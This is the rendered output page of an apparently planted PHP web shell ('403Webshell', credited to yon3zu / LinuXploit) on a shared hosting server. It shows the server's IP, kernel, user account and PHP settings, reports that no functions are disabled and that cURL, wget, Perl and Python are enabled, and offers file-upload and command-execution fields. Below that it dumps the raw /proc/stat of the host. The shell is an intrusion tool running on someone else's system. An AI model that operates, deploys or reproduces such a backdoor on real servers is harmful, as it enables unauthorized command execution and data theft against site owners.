403Webshell
Server IP : 104.21.93.192  /  Your IP : 216.73.216.24
Web Server : LiteSpeed
System : Linux premium900.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
User : redwjova ( 1790)
PHP Version : 8.1.33
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : ON |  Sudo : OFF |  Pkexec : OFF
Directory :  /proc/self/root/proc/thread-self/root/proc/self/root/proc/self/root/proc/thread-self/root/proc/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /proc/self/root/proc/thread-self/root/proc/self/root/proc/self/root/proc/thread-self/root/proc/stat
cpu  1499383170 20741939 522284848 1203582011 120820364 0 67019610 53397 0 0
cpu0 62299432 861886 21844464 50283317 5079215 0 2842810 2214 0 0
cpu1 62461349 848909 21761024 50269209 5059151 0 2816311 2216 0 0
cpu2 62421620 868098 21801083 50244534 5059015 0 2799304 2185 0 0
cpu3 62431755 880945 21788340 50253671 5061573 0 2758793 2196 0 0
cpu4 62790550 857697 21792271 50166104 5063382 0 2536244 2186 0 0
cpu5 62794440 857927 21719099 50233664 5064556 0 2527578 2206 0 0
cpu6 62481558 860583 21877467 50344784 5098757 0 2517017 2173 0 0
cpu7 61956043 866656 21797631 50864120 5125139 0 2505741 2171 0 0
cpu8 62470429 872090 21792575 50212156 5089045 0 2733182 2187 0 0
cpu9 62695993 871412 21747279 50077936 5069461 0 2713606 2196 0 0
cpu10 62469667 858952 21831256 50189430 5071597 0 2738706 2184 0 0
cpu11 62878614 855104 21779319 49563602 4843554 0 2166571 2416 0 0
cpu12 62773002 874473 21737361 50028728 5049523 0 2692580 2196 0 0
cpu13 61672856 858225 21544377 49804730 4972096 0 4312843 2365 0 0
cpu14 61735800 853039 21440560 49496842 4936525 0 4664330 2255 0 0
cpu15 62605801 864752 21785364 50172009 5034047 0 2686998 2174 0 0
cpu16 62292322 865227 21658400 50009959 5020170 0 3296996 2261 0 0
cpu17 62401295 879959 21697441 50177515 5021088 0 3010747 2249 0 0
cpu18 62468979 859371 21803282 50263325 5048758 0 2694516 2175 0 0
cpu19 62404001 866470 21821044 50307901 5058589 0 2683904 2186 0 0
cpu20 62639014 855195 21792026 50294080 5070605 0 2493066 2186 0 0
cpu21 62751137 861114 21813645 50253445 5040279 0 2437987 2194 0 0
cpu22 62632367 875217 21835958 50324810 5051146 0 2434378 2191 0 0
cpu23 62855135 868627 21823572 49746128 4833082 0 1955387 2424 0 0
intr 89166225181 49 9 0 0 690 0 0 0 1 0 0 0 15 0 1443857 0 0 0 0 0 0 0 0 0 0 0 0 3980914441 3973821731 0 33 0 2663873236 2900701281 0 911176506 916657788 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
ctxt 79198320072
btime 1752922786
processes 223487852
procs_running 25
procs_blocked 3
softirq 48805502873 1 1999611493 1413 431476107 3480555831 0 276879670 2143070338 3230808 1815971548

Youez - 2016 - github.com/yon3zu
LinuXploit